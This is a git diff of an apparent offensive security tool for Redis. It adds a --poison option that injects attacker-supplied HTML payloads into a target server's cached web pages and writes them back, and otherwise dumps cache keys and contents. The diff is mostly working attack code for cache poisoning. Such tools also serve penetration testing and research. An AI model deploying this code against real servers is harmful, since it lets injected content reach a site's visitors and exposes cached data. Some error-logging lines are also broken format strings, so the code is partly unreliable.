diff --git a/.idea/workspace.xml b/.idea/workspace.xml index db4355d..6075826 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -2,8 +2,10 @@ + - + + @@ -42,18 +44,18 @@ - - + + - - + + - + @@ -63,18 +65,18 @@ - - + + - + - - - + + + @@ -83,8 +85,8 @@ - - + + @@ -110,7 +112,6 @@ @@ -709,7 +711,13 @@ @@ -1318,18 +1326,6 @@ - - - - - - - - - - - - @@ -1349,25 +1345,37 @@ + + + + + + + + + + + + - - + + - + - - + + - + diff --git a/enteletaor_lib/modules/redis/__init__.py b/enteletaor_lib/modules/redis/__init__.py index 36d9fe2..f7311e9 100644 --- a/enteletaor_lib/modules/redis/__init__.py +++ b/enteletaor_lib/modules/redis/__init__.py @@ -9,7 +9,7 @@ from libs.core.structs import CommonData from .redis_dump import action_redis_dump from .redis_shell import action_redis_shell from .redis_info import action_redis_server_info -from .redis_poison import action_redis_cache_poison +from .redis_cache import action_redis_cache_poison from .redis_discover_db import action_redis_discover_dbs from .redis_clients import action_redis_server_connected from .redis_disconnect import action_redis_server_disconnect diff --git a/enteletaor_lib/modules/redis/cmd_actions.py b/enteletaor_lib/modules/redis/cmd_actions.py index c8e41a0..b36e437 100644 --- a/enteletaor_lib/modules/redis/cmd_actions.py +++ b/enteletaor_lib/modules/redis/cmd_actions.py @@ -34,6 +34,8 @@ def parser_redis_server_cache_poison(parser): help="try to poisoning using selected key") payload = parser.add_argument_group("payloads options") + payload.add_argument("-P", "--poison", action="store_true", dest="poison", default=False, + help="enables cache poisoning") payload.add_argument("--payload", action="store", dest="poison_payload", help="try inject cmd inline payload") payload.add_argument("--file-payload", action="store", dest="poison_payload_file", diff --git a/enteletaor_lib/modules/redis/redis_poison.py b/enteletaor_lib/modules/redis/redis_cache.py similarity index 82% rename from enteletaor_lib/modules/redis/redis_poison.py rename to enteletaor_lib/modules/redis/redis_cache.py index 9ce41ac..76ceccc 100644 --- a/enteletaor_lib/modules/redis/redis_poison.py +++ b/enteletaor_lib/modules/redis/redis_cache.py @@ -97,7 +97,7 @@ def handle_html(config, content): elif config.poison_payload: payload = etree.fromstring(config.poison_payload) else: - payload = "" + payload = etree.fromstring("") insert_point.addnext(payload) @@ -145,6 +145,11 @@ def action_redis_cache_poison(config): # Stop return + if config.poison is True: + log.error(" - Poisoning enabled") + else: + log.error(" - Listing cache information:") + # -------------------------------------------------------------------------- # Explode caches # -------------------------------------------------------------------------- @@ -159,25 +164,31 @@ def action_redis_cache_poison(config): # -------------------------------------------------------------------------- # Make actions over cache # -------------------------------------------------------------------------- + # Poison is enabled? + if config.poison is True: + # Set injection + try: + modified = handle_html(config, content) + except ValueError as e: + log.error(" - Can't modify cache content: " % e) + continue + except IOError as e: + log.error(" - Can't modify cache content: " % e) - # Set injection - try: - modified = handle_html(config, content) - except ValueError as e: - log.error(" - Can't modify cache content: " % e) - continue - except IOError as e: - log.error(" - Can't modify cache content: " % e) + # Injection was successful? + if modified is None: + log.warning(" - Can't modify content: ensure that content is HTML") + continue - # Injection was successful? - if modified is None: - log.warning(" - Can't modify content: ensure that content is HTML") - continue + # Set injection into server + con.setex(val, 200, modified) - # Set injection into server - con.setex(val, 200, modified) + log.error(" - Poisoned cache key '%s' at server '%s'" % (val, config.target)) + else: - log.error(" - Poisoned cache key '%s' at server '%s'" % (val, config.target)) + # If not poison enabled display cache keys + log.error(" -> Key: '%s' - " % val) + log.error(" -> Content:\n %s" % content) if not cache_keys: log.error(" - No cache keys found in server: Can't poison remote cache.")